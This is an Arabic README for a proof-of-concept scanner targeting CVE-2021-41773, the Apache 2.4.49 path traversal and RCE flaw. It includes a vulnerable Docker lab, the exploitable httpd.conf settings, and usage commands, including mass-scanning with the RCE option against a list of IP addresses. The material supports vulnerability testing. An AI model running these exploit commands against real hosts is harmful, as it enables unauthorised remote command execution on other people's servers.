Apache 2.4.49 - اجتياز المسار أو تنفيذ الأوامر عن بُعد

cve-2021-41773.py هو سكربت بايثون يساعد في اكتشاف ثغرة اجتياز المسار أو تنفيذ الأوامر عن بُعد في Apache 2.4.49. تم توفير نسخة ضعيفة من Docker للتجربة العملية على CVE-2021-41773

إذا تم تفعيل CGI-BIN، فيمكننا تنفيذ الأوامر عن بُعد ولكن ليس اجتياز المسار، لذلك تمت إضافة مجلد "icons" ضمن قسم Alias في httpd.conf لفحص ثغرة اجتياز المسار.

الإعدادات القابلة للاستغلال في httpd.conf

1. Enable CGI-BIN
2. Add "icons" directory in Alias section
3. <Directory>Require all granted</Directory>

مختبر لـ CVE-2021-41773

بناء Docker

$ docker build -t cve-2021-41773 .

تشغيل Docker

$ docker run -it cve-2021-41773

استخدام cve-2021-41773.py

فحص اجتياز المسار وتنفيذ الأوامر عن بُعد

$ python3 cve-2021-41773.py -u http://172.17.0.2

PoC لاجتياز المسار

$ python3 cve-2021-41773.py -u http://172.17.0.2 -pt

PoC لتنفيذ الأوامر عن بُعد

$ python3 cve-2021-41773.py -u http://172.17.0.2 -rce

للفحص الجماعي، قم بتوفير ملف نصي يحتوي على عناوين IP:

$ python3 cve-2021-41773.py -l list.txt

$ python3 cve-2021-41773.py -l list.txt -pt

$ python3 cve-2021-41773.py -l list.txt -rce

يمكن العثور على مزيد من المعلومات هنا.

المراجع

• https://nvd.nist.gov/vuln/detail/CVE-2021-41773
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
• https://httpd.apache.org/security/vulnerabilities_24.html
• https://www.cve.org/CVERecord?id=CVE-2021-41773
• https://walnutsecurity.com/path-traversal-remote-code-execution-in-apache/